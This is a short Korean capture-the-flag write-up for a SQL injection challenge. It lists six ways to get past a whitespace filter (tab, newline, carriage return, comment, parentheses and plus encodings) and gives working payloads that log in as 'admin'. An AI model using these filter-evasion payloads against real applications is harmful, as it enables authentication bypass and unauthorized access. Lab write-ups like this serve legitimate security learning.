힌트1. 공백을 필터링한다는 것은 알고 있을 것이다. 공백을 우회하는 방법은?
힌트2. ‘공백 필터링’ 이라는 검색만 잘하면 찾을 수 있을 것이다
풀이
이번문제는 공백을 필터링 하고 있다. 이때 우회 기법은 많다.
1. Tab : %09
– no=1%09or%09id=’admin’
2. Line Feed (\n): %0a
– no=1%0aor%0aid=’admin’
3. Carrage Return(\r) : %0d
– no=1%0dor%0did=’admin’
4. 주석 : /**/
– no=1/**/or/**/id=’admin’
5. 괄호 : ()
– no=(1)or(id=’admin’)
6. 더하기 : +
– no=1+or+id=’admin’
출처: http://binaryu.tistory.com/31 [BinaryU]
위의 6가지 방법중 하나를 사용하면 문제를 클리어 할 수 있을 것이다.
나는 %0a를 써서 다음과 같이 문제를 클리어 했다.
?pw=1’||%0aid=’admin
.